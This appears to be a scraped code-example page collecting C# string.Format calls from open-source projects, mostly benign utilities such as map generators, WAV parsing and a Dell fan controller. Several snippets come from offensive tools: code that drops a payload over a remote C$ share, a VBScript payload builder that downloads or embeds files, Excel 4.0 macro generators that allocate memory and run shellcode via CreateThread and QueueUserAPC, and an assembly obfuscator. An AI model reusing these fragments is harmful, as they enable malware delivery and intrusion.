string.Format(string, object, object, object)

Here are the examples of the csharp api string.Format(string, object, object, object) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

3619 Examples 7

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToFileSMB(string host, string droploc, string fname, string paylocation)
        {
            try
            {
                byte[] filen = null;
                var writeuncpath = String.Format(@"\\{0}\C${1}\{2}", host, droploc, fname);
                //this is meant to be updated to compile file into replacedembly
                if (Path.IsPathRooted(paylocation))
                {
                    filen = File.ReadAllBytes(paylocation);
                }
                Console.WriteLine("[+] Writing data to      :  {0}", host);
                File.WriteAllBytes(writeuncpath, filen);
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Error     :  {0}", ex.Message);
                return;
            }
        }

19 View Source File : FileWrite.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void GetFileContent(string paylocation, string droploc, string fname, string dtype)
        {
            bool uricheck = Uri.IsWellFormedUriString(paylocation, UriKind.RelativeOrAbsolute);
            if (paylocation == "local")
            {
                String plfile = "LOADLOADLOAD";
                if(dtype == "flat")
                {
                    String finalpay = String.Format("Dim pLoad, fnames, droploc\npLoad =\"{0}\"\nfnames = \"{1}\"\ndroploc = \"{2}\"\n", plfile, fname, droploc);
                    vbsp = vbsp.Insert(0, finalpay);
                }
                else if (dtype == "nonflat")
                {
                    datavals = plfile;
                }
            }
            else
            {
                if (uricheck)
                {
                    try
                    {
                        WebClient webcl = new WebClient();
                        //May want to change this
                        webcl.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko");
                        byte[] filedata = webcl.DownloadData(paylocation);
                        string plfile = Convert.ToBase64String(filedata);
                        if (dtype == "flat")
                        {
                            String finalpay = String.Format("Dim pLoad, fnames, droploc\npLoad =\"{0}\"\nfnames = \"{1}\"\ndroploc = \"{2}\"\n", plfile, fname, droploc);
                            vbsp = vbsp.Insert(0, finalpay);
                        }
                        else if (dtype == "nonflat")
                        {
                            datavals = plfile;
                        }
                    }
                    catch (WebException)
                    {
                        Console.WriteLine("[X] URL doesnt exist");
                        return;
                    }
                }
                else
                {
                    try
                    {
                        Byte[] plbytes = File.ReadAllBytes(paylocation);
                        String plfile = Convert.ToBase64String(plbytes);
                        if(dtype == "flat")
                        {
                            String finalpay = String.Format("Dim pLoad, fnames, droploc\npLoad =\"{0}\"\nfnames = \"{1}\"\ndroploc = \"{2}\"\n", plfile, fname, droploc);
                            vbsp = vbsp.Insert(0, finalpay);
                        }
                        else if (dtype == "nonflat")
                        {
                            datavals = plfile;
                        }
                    }
                    catch (IOException)
                    {
                        Console.WriteLine("[X] File doesnt exist");
                        return;
                    }
                }
            }
        }

19 View Source File : Roomer.cs
License : MIT License
Project Creator : 1upD

public override void Step(AlifeMap map)
        {
            try
            {
                // Mark to discard
                this._completed = true;

                // Local variables
                int spacesOccupied = 0;
                int total = 0;
                List<Tuple<int, int, int>> locationsToMark = new List<Tuple<int, int, int>>();

                for (int z = this.Z; z < this.Z + this.Height; z++)
                {
                    for (int x = this.X + this._x2; x < this.X + this._x1; x++)
                    {
                        for (int y = this.Y + this._y2; y < this.Y + this._y1; y++)
                        {
                            locationsToMark.Add(new Tuple<int, int, int>(x, y, z));
                            bool isSpaceOccupied = map.GetLocation(x, y, z) != null && map.GetLocation(x, y, z) != "";
                            spacesOccupied += isSpaceOccupied ? 1 : 0;
                            total++;
                        }
                    }
                }

                if (spacesOccupied < total / 2 && MustDeploy)
                {
                    log.Debug(string.Format("Roomer deployed: {0} spaces occupied, {1} total.", spacesOccupied, total));
                    log.Debug(string.Format("Roomer deployed at x: {0} y: {1} z: {2}", this.X, this.Y, this.Z));
                    foreach (var tuple in locationsToMark)
                    {
                        map.MarkLocation(this.Style, tuple.Item1, tuple.Item2, tuple.Item3);
                    }
                } else
                {
                    log.Debug(string.Format("Roomer did not deploy. {0} spaces occupied, {1} total.", spacesOccupied, total));
                }

            }
            catch (Exception e)
            {
                log.Error("Error in Roomer Step function: ", e);
            }

        }

19 View Source File : NailsMap.cs
License : MIT License
Project Creator : 1upD

public NailsCube GetCube(int x, int y, int z)
        {
            // Return value
            NailsCube cube = null;
            
            // Use Linq to query the list
            var cubesList = NailsCubes.Where(i => i.X == x && i.Y == y && i.Z == z).ToList();

            // If there is a cube at this location, return it
            if (cubesList != null && cubesList.Count > 0)
            {
                cube = cubesList[0];
            }

            // If more than one cube is found, log an error
            if (cubesList.Count > 1)
            {
                log.Error(string.Format("NailsCube.GetCube(): Multiple cubes found at one location: x {0} y {1} z {2}", x.ToString(), y.ToString(), z.ToString()));
            }

            // If there is no cube at this location, return null
            return cube;
        }

19 View Source File : Tunneler.cs
License : MIT License
Project Creator : 1upD

public override void Step(AlifeMap map)
        {
            try {
                int seed = this.X + this.Y + this.Z + (int)this.Direction + this.Height + this.Width + (int)System.DateTime.Now.Ticks;

                // Get random number
                Random random = new Random(seed);
                double sample = random.NextDouble();

                // Check turn probability. If turning, change direction 90 degrees
                if (sample < this.ProbTurn)
                {
                    sample = random.NextDouble();
                    int polarity = sample > 0.5 ? 1 : -1;
                    this.Direction = AlifeDirectionOperations.Add(this.Direction, polarity);
                }

                // Get new random seed
                sample = random.NextDouble();

                // Check reproduction probability
                if (sample < this.ProbReproduce)
                {
                    sample = random.NextDouble();
                    int polarity = sample > 0.5 ? 1 : -1;
                    AlifeDirection childDirection = AlifeDirectionOperations.Add(this.Direction, polarity);
                    int widthDecay = random.Next(this.MinWidthDecayRate, this.MaxWidthDecayRate);
                    int heightDecay = random.Next(this.MinHeightDecayRate, this.MaxHeightDecayRate);
                    Tunneler child = new Tunneler(this.Style, this.X, this.Y, this.Z, this.Width - widthDecay, this.Height - heightDecay, this.MaxLifetime - this.LifetimeDecayRate, this.MaxLifetime - this.LifetimeDecayRate, this.ProbReproduce, this.ProbTurn, this.ProbAscend, childDirection);
                    map.Agents.Add(child);
                }
                else
                {
                    sample = random.NextDouble();
                    if (sample < this.ProbSpawnRoomer)
                    {
                        Roomer child = new Roomer(x: this.X, y: this.Y, z: this.Z, style: this.Style, height: Math.Max(this.Height, 2), maxWidth: Math.Min(this.Width * 2, 3), mustDeploy: false);
                        map.Agents.Add(child);
                        }
                }

                // Get new random seed
                sample = random.NextDouble();

                // Check a s c e n d probability
                if (sample < this.ProbAscend)
                {
                    sample = random.NextDouble();
                        int verticalDistance = random.Next(1, Math.Min(this.Height, this.MaxVerticalDrop));
                    int polarity = sample > 0.5 ? verticalDistance : -verticalDistance;
                    this.Z += polarity;
                }
                else
                {
                    // Update location
                    switch (this.Direction)
                    {
                        case AlifeDirection.East:
                            this.X++;
                            break;
                        case AlifeDirection.North:
                            this.Y++;
                            break;
                        case AlifeDirection.West:
                            this.X--;
                            break;
                        case AlifeDirection.South:
                            this.Y--;
                            break;
                        case AlifeDirection.Up:
                            this.Z++;
                            break;
                        case AlifeDirection.Down:
                            this.Z--;
                            break;
                    }

                }


                // Mark location
                // Nasty nested four loop to handle the added spaces from the height and width
                bool vertical = this.Direction == AlifeDirection.North || this.Direction == AlifeDirection.South;
                for (int x = this.X; x <= (vertical ? this.X + this.Width : this.X); x++)
                {
                    for (int y = this.Y; y <= (vertical ? this.Y : this.Y + this.Width); y++)
                    {
                        for (int z = this.Z; z <= this.Z + this.Height; z++)
                        {
                            map.MarkLocation(this.Style, x, y, z);
                        }
                    }
                }

            if (this.Lifetime == 1 && this.SpawnRoomerOnDeath)
            {
                    log.Debug(string.Format("Tunneler died at {0}, {1}, {2}.", this.X, this.Y, this.Z));

                    // Add a roomer
                    Roomer child = new Roomer(x: this.X, y: this.Y, z: this.Z, style: this.Style, height: Math.Max(this.Height, 2), maxWidth: Math.Min(this.Width * 2, 3));
                    map.Agents.Add(child);
                }

            this.Lifetime--;
            }
            catch (Exception e){
                log.Error("Error in Tunneler Step function: ", e);
            }
        }

19 View Source File : ShellForm.cs
License : Apache License 2.0
Project Creator : 214175590

public Object RunSftpShell(string cmd, string src, string dst, bool isview = true, bool log = true)
        {
            if(null != monitorForm){
                return monitorForm.RunSftpShell(string.Format("{0} {1} {2}", cmd, src, dst), isview, log);
            }
            else if (null != sftpForm)
            {
                return sftpForm.downloadFile(src, dst);
            }
            return null;
        }

19 View Source File : Config.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public string getSummary()
        {
            string summary = string.Format("[{0}] ", ((EConfigType)configType).ToString());
            string[] arrAddr = address.Split('.');
            string addr;
            if (arrAddr.Length > 2)
            {
                addr = $"{arrAddr[0]}***{arrAddr[arrAddr.Length - 1]}";
            }
            else if (arrAddr.Length > 1)
            {
                addr = $"***{arrAddr[arrAddr.Length - 1]}";
            }
            else
            {
                addr = address;
            }
            switch (configType)
            {
                case (int)EConfigType.Vmess:
                    summary += string.Format("{0}({1}:{2})", remarks, addr, port);
                    break;
                case (int)EConfigType.Shadowsocks:
                    summary += string.Format("{0}({1}:{2})", remarks, addr, port);
                    break;
                case (int)EConfigType.Socks:
                    summary += string.Format("{0}({1}:{2})", remarks, addr, port);
                    break;
                case (int)EConfigType.VLESS:
                    summary += string.Format("{0}({1}:{2})", remarks, addr, port);
                    break;
                case (int)EConfigType.Trojan:
                    summary += string.Format("{0}({1}:{2})", remarks, addr, port);
                    break;
                default:
                    summary += string.Format("{0}", remarks);
                    break;
            }
            return summary;
        }

19 View Source File : WaveFileReader.cs
License : MIT License
Project Creator : 3wz

public static void ReadWaveHeader(Stream stream, out WaveFormat format, out long dataChunkPosition, out int dataChunkLength, List<RiffChunk> chunks)
        {
            dataChunkPosition = -1;
            format = null;
            BinaryReader br = new BinaryReader(stream);
            if (Encoding.ASCII.GetString(br.ReadBytes(4)) != "RIFF")//WaveInterop.mmioStringToFOURCC("RIFF", 0)
            {
                throw new FormatException("Not a WAVE file - no RIFF header");
            }
            uint fileSize = br.ReadUInt32(); // read the file size (minus 8 bytes)
            if (Encoding.ASCII.GetString(br.ReadBytes(4)) != "WAVE")//WaveInterop.mmioStringToFOURCC("WAVE", 0)
            {
                throw new FormatException("Not a WAVE file - no WAVE header");
            }
            int dataChunkID = BitConverter.ToInt32(Encoding.UTF8.GetBytes("data"), 0); ;//WaveInterop.mmioStringToFOURCC("data", 0)
            int formatChunkId = BitConverter.ToInt32(Encoding.UTF8.GetBytes("fmt "), 0); ;//WaveInterop.mmioStringToFOURCC("fmt ", 0)
            dataChunkLength = 0;

            // sometimes a file has more data than is specified after the RIFF header
            long stopPosition = Math.Min(fileSize + 8, stream.Length);

            // this -8 is so we can be sure that there are at least 8 bytes for a chunk id and length
            while (stream.Position <= stopPosition - 8)
            {
                Int32 chunkIdentifier = br.ReadInt32();
                Int32 chunkLength = br.ReadInt32();
                if (chunkIdentifier == dataChunkID)
                {
                    dataChunkPosition = stream.Position;
                    dataChunkLength = chunkLength;
                    stream.Position += chunkLength;
                }
                else if (chunkIdentifier == formatChunkId)
                {
                    format = WaveFormat.FromFormatChunk(br, chunkLength);
                }
                else
                {
                    // check for invalid chunk length
                    if (chunkLength < 0 || chunkLength > stream.Length - stream.Position)
                    {
                        Debug.replacedert(false, String.Format("Invalid chunk length {0}, pos: {1}. length: {2}",
                            chunkLength, stream.Position, stream.Length));
                        // an exception will be thrown further down if we haven't got a format and data chunk yet,
                        // otherwise we will tolerate this file despite it having corrupt data at the end
                        break;
                    }
                    if (chunks != null)
                    {
                        chunks.Add(new RiffChunk(chunkIdentifier, chunkLength, stream.Position));
                    }
                    stream.Position += chunkLength;
                }
            }

            if (format == null)
            {
                throw new FormatException("Invalid WAV file - No fmt chunk found");
            }
            if (dataChunkPosition == -1)
            {
                throw new FormatException("Invalid WAV file - No data chunk found");
            }
        }

19 View Source File : WaveFormat.cs
License : MIT License
Project Creator : 3wz

public override string ToString()
        {
            switch (this.waveFormatTag)
            {
                case WaveFormatEncoding.Pcm:
                case WaveFormatEncoding.Extensible:
                    // extensible just has some extra bits after the PCM header
                    return String.Format("{0} bit PCM: {1}kHz {2} channels",
                        bitsPerSample, sampleRate / 1000, channels);
                default:
                    return this.waveFormatTag.ToString();
            }
        }

19 View Source File : TrainDataService.cs
License : MIT License
Project Creator : 42skillz

public static string buildPostContent(string trainId, string bookingRef, IEnumerable<Seat> availableSeats)
        {
            var seats = new StringBuilder("[");
            bool firstTime = true;

            foreach (var s in availableSeats)
            {
                if (!firstTime)
                {
                    seats.Append(", ");
                }
                else
                {
                    firstTime = false;
                }

                seats.Append(String.Format("\"{0}{1}\"", s.SeatNumber, s.CoachName));
            }
            seats.Append("]");

            var result = String.Format(
                "{{\r\n\t\"train_id\": \"{0}\",\r\n\t\"seats\": {1},\r\n\t\"booking_reference\": \"{2}\"\r\n}}",
                trainId, seats.ToString(), bookingRef);

            return result;
        }

19 View Source File : UserData.cs
License : MIT License
Project Creator : 7Bytes-Studio

public override string ToString()
        {
            return string.Format("Name:{0}\nMeta:{1}\n实例化日期:{2}\n ", Name,Meta, InstantiatedTime);
        }

19 View Source File : PointCloudGH - Copy.cs
License : GNU Lesser General Public License v3.0
Project Creator : 9and3

public override string ToString() {
            return String.Format("PointCloud {0}, HasNormals {1}, HasColors {2}", m_value.Count, m_value.ContainsNormals, m_value.ContainsColors);
        }

19 View Source File : GH_Cloud.cs
License : GNU Lesser General Public License v3.0
Project Creator : 9and3

public override string ToString() {
            return string.Format("PointCloud {0} HasNormals {1} HasColors {2}", this.m_value.Count, this.m_value.ContainsNormals, this.m_value.ContainsColors).ToString();

        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<String> GetMultiPlatformBinaryPattern(List<string> preamble, string macroSheetName)
        {
            int offset;
            if (preamble.Count == 0)
            {
                offset = 1;
            }
            else
            {
                offset = preamble.Count + 1;
            }


            //These variables replacedume certain positions in generated macros
            //Col 1 is our main logic
            //Col 2 is our x86 payload, terminated by END
            //Col 3 is our x64 payload, terminated by END
            string x86CellStart = string.Format("R{0}C1", offset + 4);     //A5
            string x64CellStart = string.Format("R{0}C1", offset + 15);    //A16
            string variableName = DefaultVariableName; 
            string x86PayloadCellStart = "R1C2";  //B1
            string x64PayloadCellStart = "R1C3";  //C1
            string rowsWrittenCell = "R1C4";      //D1
            string lengthOfCurrentCell = "R2C4";  //D2
            //Happens to be the same cell right now
            string x86AllocatedMemoryBase = x86CellStart;
            string x64AllocatedMemoryBase = string.Format("R{0}C1", offset + 16); //A17

            List<string> macros = new List<string>()
            {
                "=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"Valloc\",,1,9)",
                "=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WProcessMemory\",,1,9)",
                "=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CThread\",,1,9)",
                string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),GOTO({0}),GOTO({1}))",x86CellStart, x64CellStart),
                "=Valloc(0,10000000,4096,64)",
                string.Format("{0}={1}", variableName, x86PayloadCellStart),
                string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
                string.Format("=WHILE({0}<>\"END\")", variableName),
                string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
                string.Format("=WProcessMemory(-1,{0}+({1}*255),{2},LEN({2}),0)", x86AllocatedMemoryBase, rowsWrittenCell, variableName),
                string.Format("=SET.VALUE({0},{0}+1)", rowsWrittenCell),
                string.Format("{0}=ABSREF(\"R[1]C\",{0})",variableName),
                "=NEXT()",
                string.Format("=CThread(0,0,{0},0,0,0)", x86AllocatedMemoryBase),
                "=HALT()",
                "1342439424", //Base memory address to brute force a page
                "0",
                string.Format("=WHILE({0}=0)", x64AllocatedMemoryBase),
                string.Format("=SET.VALUE({0},Valloc({1},10000000,12288,64))", x64AllocatedMemoryBase, x64CellStart),
                string.Format("=SET.VALUE({0},{0}+262144)", x64CellStart),
                "=NEXT()",
                "=REGISTER(\"Kernel32\",\"RtlCopyMemory\",\"JJCJ\",\"RTL\",,1,9)",
                "=REGISTER(\"Kernel32\",\"QueueUserAPC\",\"JJJJ\",\"Queue\",,1,9)",
                "=REGISTER(\"ntdll\",\"NtTestAlert\",\"J\",\"Go\",,1,9)",
                string.Format("{0}={1}", variableName, x64PayloadCellStart),
                string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
                string.Format("=WHILE({0}<>\"END\")", variableName),
                string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
                string.Format("=RTL({0}+({1}*255),{2},LEN({2}))", x64AllocatedMemoryBase, rowsWrittenCell, variableName),
                string.Format("=SET.VALUE({0},{0}+1)",rowsWrittenCell),
                string.Format("{0}=ABSREF(\"R[1]C\",{0})", variableName),
                "=NEXT()",
                string.Format("=Queue({0},-2,0)", x64AllocatedMemoryBase),
                "=Go()",
                string.Format("=SET.VALUE({0},0)",x64AllocatedMemoryBase),
                "=HALT()"
            };
            
            if (preamble.Count > 0)
            {
                return preamble.Concat(macros).ToList();
            }

            return macros;
        }

19 View Source File : obfuscator.cs
License : MIT License
Project Creator : aaaddress1

private static void obfuscatCode(string orginalCode, ref string currLineAddition, ref string extraCodeAddition, bool forceJunk = false)
        {
            currLineAddition = orginalCode + "\r\n";
            extraCodeAddition = "";
            if (!shouldGeneratJunk() && !forceJunk) return;

            obfuscat_code_count++;
            Match m = new Regex(@"mov[\x20\t]+([^,]+),(.+)").Match(orginalCode);
            if (m.Success)
            {
                currLineAddition = string.Format(
                    "push {1}           \r\n" +
                    "call obfusca_{2}   \r\n" +
                    "pop {0}            \r\n",
                    m.Groups[1].Value, m.Groups[2].Value, label_extra_count
                    );

                extraCodeAddition = string.Format(
                    "obfusca_{0}:       \r\n" +
                    "pushf              \r\n" +
                    "push ecx           \r\n" +
                    "mov ecx, {2}      \r\n" +
                    "obfusca_{1}:       \r\n" +
                    "loop obfusca_{1}   \r\n" +
                    "pop ecx            \r\n" +
                    "popf               \r\n" +
                    "ret                \r\n", label_extra_count, label_extra_count+1, rnd.Next(5, 128)
                    );
                    label_extra_count += 2;
                return;
            }

            m = new Regex(@"call[\x20\t]+(.+)").Match(orginalCode);
            if (m.Success)
            {
                currLineAddition = string.Format(
                    "push offset obfusca_{1}         \r\n" +
                    "push offset {0}                        \r\n" +
                    "ret                             \r\n" +
                    "obfusca_{1}:",
                    m.Groups[1].Value, label_extra_count
                    );
                extraCodeAddition = "";
                label_extra_count += 1;
                return;
            }

            currLineAddition = string.Format(
                "obfusca_{1}:       \r\n" +
                "call obfusca_{2}   \r\n" +
                "loop obfusca_{1}    \r\n" +
                "obfusca_{2}:       \r\n" +
                "call obfusca_{3}    \r\n"+
                "loop obfusca_{1}   \r\n" +
                "obfusca_{3}:       \r\n" +
                "call obfusca_{4}   \r\n" +
                "loop obfusca_{2}   \r\n" +
                "obfusca_{4}:       \r\n" +
                "lea esp, [esp+12]  \r\n" +
                "{0}                \r\n",
                orginalCode, label_extra_count, label_extra_count + 1, label_extra_count + 2, label_extra_count + 3
                );
            label_extra_count += 4;

        }

19 View Source File : obfuscator.cs
License : MIT License
Project Creator : aaaddress1

public static bool obfuscaAsm(string asmPath, string outObfAsmPath)
        {
            label_extra_count = 0;
            junk_count = 0;
            obfuscat_code_count = 0;

            string asmCode = System.IO.File.ReadAllText(asmPath);

            string[] gadgets = asmCode.Split('\n');
            string fixCode = "";
            string extCode = ".section	.text$junk,\x22wx\x22\n";

            string currFuncNameMatch = "";
            for (int i = 0; i < gadgets.Length; i++)
            {
                Program.mainUi.BeginInvoke((MethodInvoker)delegate () { Program.mainUi.percntLB.Text = (i * 100 / gadgets.Length) + "%"; });
                var currLine = gadgets[i];

                Match m = new Regex(@"(.+):\r").Match(gadgets[i]);
                if (m.Success && i < gadgets.Length - 2)
                {
                    currFuncNameMatch = m.Groups[1].Value;
                    if (gadgets[i + 2].Contains("cfi_startproc"))
                    {
                        logMsg("found func::" + currFuncNameMatch + "() at #" + i, Color.Blue);
                        fixCode += gadgets[i] + "\n\r" + gadgets[i + 1] + "\n\r" + gadgets[i + 2] + "\n\r";
                        i += 2;
                        continue;
                    }
                    else currFuncNameMatch = "";
                }

                if (currFuncNameMatch != "")
                {
                    string getJunk = "", getExtra = "";
                    if (Properties.Settings.Default.cnfseCode)
                    {
                        obfuscatCode(gadgets[i], ref getJunk, ref getExtra);
                        fixCode += getJunk;
                        extCode += getExtra;
                    }
                    else
                        fixCode += gadgets[i] + "\n\r";

                    getJunk = ""; getExtra = "";
                    if (Properties.Settings.Default.insrtJunk)
                    {
                        randJunk(ref getJunk, ref getExtra);
                        fixCode += getJunk;
                        extCode += getExtra;
                        if (gadgets[i].Contains("cfi_endproc")) currFuncNameMatch = "";
                    }
                }
                else
                    fixCode += gadgets[i] + "\n\r";
            }
            Program.mainUi.BeginInvoke((MethodInvoker)delegate () { Program.mainUi.percntLB.Text = "100%"; });
            logMsg(string.Format(
                "[\tOK\t] obfuscate result:         \n" +
                " - generate {0} junk codes         \n" +
                " - generate {1} obfuscated codes   \n" +
                " - generate {2} function pieces    \n", junk_count, obfuscat_code_count, label_extra_count), Color.Green);

            System.IO.File.WriteAllText(outObfAsmPath, fixCode + "\n" + extCode);
            return true;
        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<String> GetX86GetBinaryLoaderPattern(List<string> preamble, string macroSheetName)
        {
            int offset;
            if (preamble.Count == 0)
            {
                offset = 1;
            } else
            {
                offset = preamble.Count + 1;
            }
            //TODO Autocalculate these values at generation time
            //These variables replacedume certain positions in generated macros
            //Col 1 is our obfuscated payload
            //Col 2 is our actual macro set defined below
            //Col 3 is a separated set of cells containing a binary payload, ends with the string END
            string lengthCounter = String.Format("R{0}C40", offset);
            string offsetCounter = String.Format("R{0}C40", offset + 1);
            string dataCellRef = String.Format("R{0}C40", offset + 2);
            string dataCol = "C2";

            //Expects our invocation of VirtualAlloc to be on row 5, but this will change if the macro changes
            string baseMemoryAddress = String.Format("R{0}C1", preamble.Count + 4); //for some reason this only works when its count, not offset

            //TODO [Stealth] Add VirtualProtect so we don't call VirtualAlloc with RWX permissions
            //TODO [Functionality] Apply x64 support changes from https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js
            //TODO [Functionality] Add support for .NET payloads (https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting, https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/)
            List<string> macros = new List<string>()
            {
                "=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"VA\",,1,0)",
                "=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CT\",,1,0)",
                "=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WPM\",,1,0)",
                "=VA(0,10000000,4096,64)", //Referenced by baseMemoryAddress
                string.Format("=SET.VALUE({0}!{1}, 0)", macroSheetName, lengthCounter),
                string.Format("=SET.VALUE({0}!{1},1)", macroSheetName, offsetCounter),
                string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
                string.Format("=WHILE(GET.CELL(5,{0}!{1})<>\"END\")", macroSheetName, dataCellRef),
                string.Format("=WPM(-1,{0}!{1}+{0}!{2},{0}!{3},LEN({0}!{3}),0)", macroSheetName, baseMemoryAddress, lengthCounter, dataCellRef),
                string.Format("=SET.VALUE({0}!{1}, {0}!{1} + 1)", macroSheetName, offsetCounter),
                string.Format("=SET.VALUE({0}!{1}, {0}!{1} + LEN({0}!{2}))", macroSheetName, lengthCounter, dataCellRef),
                string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
                "=NEXT()",
                //Execute our Payload
                string.Format("=CT(0,0,{0}!{1},0,0,0)", macroSheetName, baseMemoryAddress),
                "=WAIT(NOW()+\"00:00:03\")",
                "=HALT()"
            };
            if (preamble.Count > 0)
            {
                return preamble.Concat(macros).ToList();
            }
            return macros;
        }

19 View Source File : Bid.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Bid - Price: {0}, Amount: {1} - Timestamp: {2}", Price, Amount, Timestamp);
         return str;
      }

19 View Source File : BitfinexLendsResponse.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Rate: {0}, AmountLent: {1}, Timestamp: {2}", Rate, AmountLent, Timestamp);
         return str;
      }

19 View Source File : Ask.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Ask - Price: {0}, Amount: {1} - Timestamp: {2}", Price, Amount, Timestamp);
         return str;
      }

19 View Source File : DellSmbiosBzh.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

public static bool Initialize()
        {
            bool result;

            // Check to see if the driver has already been loaded, and if so, just grab a handle to that.
            DriverHandle = ServiceMethods.CreateFile(DriverDevicePath, FileAccess.ReadWrite, FileShare.None, IntPtr.Zero, FileMode.Open, FileAttributes.Normal, IntPtr.Zero);

            // If the driver is not running, install it
            if (DriverHandle == ServiceMethods.InvalidHandleValue)
            {
                string driverPath = string.Format("{0}{1}{2}", Directory.GetCurrentDirectory(), Path.DirectorySeparatorChar, DriverFilename);
                result = InstallDriver(driverPath, true);
                if (!result)
                {
                    return false;
                }

                result = StartDriver();

                if (!result)
                {
                    return false;
                }

                DriverHandle = ServiceMethods.CreateFile(DriverDevicePath, FileAccess.ReadWrite, FileShare.ReadWrite, IntPtr.Zero, FileMode.Open, FileAttributes.Normal, IntPtr.Zero);

                if (DriverHandle == ServiceMethods.InvalidHandleValue)
                {
                    return false;
                }
            }
            IsInitialized = true;
            return true;
        }

19 View Source File : Log.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

public static void Write(Exception exception)
        {
            Write(string.Format("{0}: {1}\n{2}", exception.GetType(), exception.Message, exception.StackTrace));
        }

19 View Source File : Core.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

private void BackgroundThread()
        {
            _state.WaitOne();
            _state.BackgroundThreadRunning = true;
            _state.Release();

            bool releaseSemapreplaced = false;

            try
            {
                if (_state.EcFanControlEnabled && IsAutomaticFanControlDisableSupported)
                {
                    _fanController.EnableAutomaticFanControl();
                    Log.Write("Enabled EC fan control – startup");
                }

                while (_state.BackgroundThreadRunning)
                {
                    _state.WaitOne();
                    _requestSemapreplaced.WaitOne();
                    releaseSemapreplaced = true;

                    // Update state.
                    _state.Update();

                    // Take action based on configuration.
                    if (_state.OperationMode == OperationMode.Automatic)
                    {
                        if (!_state.EcFanControlEnabled && IsAutomaticFanControlDisableSupported)
                        {
                            _state.EcFanControlEnabled = true;
                            _fanController.EnableAutomaticFanControl();
                            Log.Write("Enabled EC fan control – automatic mode");
                        }
                    }
                    else if (_state.OperationMode == OperationMode.Manual && IsAutomaticFanControlDisableSupported && IsSpecificFanControlSupported)
                    {
                        // Check for EC control state changes that need to be applied.
                        if (_ecFanControlRequested && !_state.EcFanControlEnabled)
                        {
                            _state.EcFanControlEnabled = true;
                            _fanController.EnableAutomaticFanControl();
                            Log.Write("Enabled EC fan control – manual mode");

                            _state.Fan1Level = null;
                            _state.Fan2Level = null;
                            _fan1LevelRequested = null;
                            _fan2LevelRequested = null;
                        }
                        else if (!_ecFanControlRequested && _state.EcFanControlEnabled)
                        {
                            _state.EcFanControlEnabled = false;
                            _fanController.DisableAutomaticFanControl();
                            Log.Write("Disabled EC fan control – manual mode");
                        }

                        // Check for fan control state changes that need to be applied.
                        if (!_state.EcFanControlEnabled)
                        {
                            if (_state.Fan1Level != _fan1LevelRequested)
                            {
                                _state.Fan1Level = _fan1LevelRequested;
                                if (_fan1LevelRequested != null)
                                {
                                    _fanController.SetFanLevel((FanLevel)_fan1LevelRequested, IsIndividualFanControlSupported ? FanIndex.Fan1 : FanIndex.AllFans);
                                }
                            }

                            if (_state.Fan2Present && IsIndividualFanControlSupported && _state.Fan2Level != _fan2LevelRequested)
                            {
                                _state.Fan2Level = _fan2LevelRequested;
                                if (_fan2LevelRequested != null)
                                {
                                    _fanController.SetFanLevel((FanLevel)_fan2LevelRequested, FanIndex.Fan2);
                                }
                            }
                        }

                        // Warn if a fan is set to completely off.
                        if (!_state.EcFanControlEnabled && (_state.Fan1Level == FanLevel.Off || (_state.Fan2Present && _state.Fan2Level == FanLevel.Off)))
                        {
                            _state.ConsistencyModeStatus = "Warning: Fans set to \"off\" will not turn on regardless of temperature or load on the system";
                        }
                        else
                        {
                            _state.ConsistencyModeStatus = " ";
                        }
                    }
                    else if (_state.OperationMode == OperationMode.Consistency && IsAutomaticFanControlDisableSupported)
                    {
                        // Consistency mode logic.
                        ConsistencyModeLogic();
                    }

                    // See if we need to update the BIOS thermal setting.
                    if (_state.ThermalSetting != ThermalSetting.Error && RequestedThermalSetting != _state.ThermalSetting)
                    {
                        DellSmbiosSmi.SetThermalSetting((ThermalSetting)RequestedThermalSetting);
                        _state.UpdateThermalSetting();
                    }

                    // Check to see if the active audio device has disappeared.
                    if (_state.AudioThreadRunning && !_state.AudioDevices.Contains(_state.SelectedAudioDevice))
                    {
                        // Remember the audio device in case it reappears.
                        _state.BringBackAudioDevice = _state.SelectedAudioDevice;

                        // Terminate the audio thread.
                        _soundPlayer?.RequestTermination();
                    }

                    _requestSemapreplaced.Release();
                    _state.Release();
                    releaseSemapreplaced = false;

                    UpdateForm();

                    Thread.Sleep(Core.RefreshInterval);
                }

                // If we got out of the loop without error, the program is terminating.
                if (IsAutomaticFanControlDisableSupported)
                {
                    _fanController.EnableAutomaticFanControl();
                    Log.Write("Enabled EC fan control – shutdown");
                }

